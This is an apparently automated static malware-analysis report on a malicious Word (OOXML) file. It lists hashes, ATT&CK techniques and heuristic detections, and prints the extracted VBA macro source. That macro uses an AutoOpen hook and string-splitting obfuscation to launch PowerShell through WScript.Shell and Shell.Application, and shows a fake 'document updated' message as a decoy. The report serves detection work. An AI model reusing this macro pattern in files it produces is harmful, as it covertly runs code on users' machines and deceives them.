Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 067acb73e304bc29…

MALICIOUS

Office (OOXML)

18.2 KB Created: 2021-07-08 04:53:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-13
MD5: cae220a969c60b6b9577fd34ec1d0463 SHA-1: d6b55fc0b1df7e2d156cc66139d75f13d4285378 SHA-256: 067acb73e304bc297350f9bded6a88431f8446ddb30ca0eceec865b262d603b6
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen subroutine that triggers the execution of a PowerShell command. The script constructs the path to powershell.exe and uses WScript.Shell to execute it with the '-noexit -command' arguments, indicating it's designed to download and run a second-stage payload. The use of AutoOpen and WScript.Shell are common techniques for macro-based malware.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Dim wordupdate
    Set wordupate = CreateObject("WScript.shell")
    With wordupate.Run(m, x, nop)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim wordupdate
    Set wordupate = CreateObject("WScript.shell")
    With wordupate.Run(m, x, nop)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
            Set m = Interaction.CreateObject(Z)
        VBA$.Interaction.CallByName! m, [y], f, c + x
End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Cook
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1394 bytes
SHA-256: 9736be275587915b65edb3696ba2c3190ce3f1453fd472affb2ff68dd55d4e17
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Cook
    dexit
End Sub

Sub Retrieve()
    xyz = ""
    c = "C:\Windows\Sys"
    c = c + "tem32\Win"
    c = c + "dowsPowe"
    c = c + "rShel"
    c = c + "l\v1.0\po"
    c = c + "wers"
    t = "hell.exe"
    ret = c + t + " -noexit -comm"
    ret = ret + "and "
    ret = ret + xyz
    f = "wsc"
    f = f + "rip"
    f = f + "t.she"
    f = f + "ll"
    x = 0
    m = c + t
    nop = 1
    Dim wordupdate
    Set wordupate = CreateObject("WScript.shell")
    With wordupate.Run(m, x, nop)
    End With
    Set wordupate = Nothing
End Sub

Sub Cook()
        Z = "Sh"
        Z = Z + "ell.Appl"
        Z = Z + "ication"
        y = "Sh"
        y = y + "ellExe"
        y = "cute"
        x = " -Command """""
        c = "pow"
        c = c + "ers"
        c = c + "hell.exe"
        Set m = Interaction.CreateObject(Z)
        VBA$.Interaction.CallByName! m, [y], f, c + x
End Sub


Sub dexit()
    MsgBox ("The Word document has been updated to the latest version.")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14336 bytes
SHA-256: bea609138168a3d19c02d3a1872bf502bba121eb57421eb825a398a223ecc991

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